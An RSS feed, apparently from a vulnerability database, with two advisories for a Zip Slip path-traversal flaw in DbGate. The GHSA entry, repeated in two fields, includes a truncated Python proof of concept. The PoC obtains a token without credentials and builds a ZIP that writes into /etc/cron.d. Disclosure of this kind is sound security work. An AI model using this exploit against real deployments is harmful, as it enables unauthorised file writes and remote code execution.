<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 23:15:16 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-47669</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-47669</link>
      <description>&lt;p&gt;DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-47669</guid>
    </item>
    <item>
      <title>GHSA-h535-j5hr-mv56 — DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-h535-j5hr-mv56</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: dbgate&lt;/p&gt;
&lt;p&gt;The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.&lt;/p&gt;
&lt;p&gt;In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.&lt;/p&gt;
&lt;p&gt;**Affected code:**&lt;/p&gt;
&lt;p&gt;`packages/api/src/shell/unzipDirectory.js`, line 27:
```js
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory
```&lt;/p&gt;
&lt;p&gt;Called from `packages/api/src/controllers/archive.js`, lines 291-293:
```js
async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
```&lt;/p&gt;
&lt;p&gt;The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.&lt;/p&gt;
&lt;p&gt;**PoC:**&lt;/p&gt;
&lt;p&gt;```python
import requests, zipfile, io&lt;/p&gt;
&lt;p&gt;TARGET = &amp;#34;http://localhost:3000&amp;#34;&lt;/p&gt;
&lt;p&gt;# Get auth token (no credentials needed in default Docker)
r = requests.post(f&amp;#34;{TARGET}/api/auth/login&amp;#34;, json={&amp;#34;amoid&amp;#34;: &amp;#34;none&amp;#34;})
token = r.json()[&amp;#34;accessToken&amp;#34;]
hdrs = {&amp;#34;Authorization&amp;#34;: f&amp;#34;Bearer {token}&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, &amp;#39;w&amp;#39;) as zf:
    zf.writestr(&amp;#34;../../../../../../etc/cron.d/dbgate-pwn…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: dbgate&lt;/p&gt;
&lt;p&gt;The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.&lt;/p&gt;
&lt;p&gt;In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.&lt;/p&gt;
&lt;p&gt;**Affected code:**&lt;/p&gt;
&lt;p&gt;`packages/api/src/shell/unzipDirectory.js`, line 27:
```js
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory
```&lt;/p&gt;
&lt;p&gt;Called from `packages/api/src/controllers/archive.js`, lines 291-293:
```js
async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
```&lt;/p&gt;
&lt;p&gt;The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.&lt;/p&gt;
&lt;p&gt;**PoC:**&lt;/p&gt;
&lt;p&gt;```python
import requests, zipfile, io&lt;/p&gt;
&lt;p&gt;TARGET = &amp;#34;http://localhost:3000&amp;#34;&lt;/p&gt;
&lt;p&gt;# Get auth token (no credentials needed in default Docker)
r = requests.post(f&amp;#34;{TARGET}/api/auth/login&amp;#34;, json={&amp;#34;amoid&amp;#34;: &amp;#34;none&amp;#34;})
token = r.json()[&amp;#34;accessToken&amp;#34;]
hdrs = {&amp;#34;Authorization&amp;#34;: f&amp;#34;Bearer {token}&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, &amp;#39;w&amp;#39;) as zf:
    zf.writestr(&amp;#34;../../../../../../etc/cron.d/dbgate-pwn…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-h535-j5hr-mv56</guid>
    </item>
  </channel>
</rss>
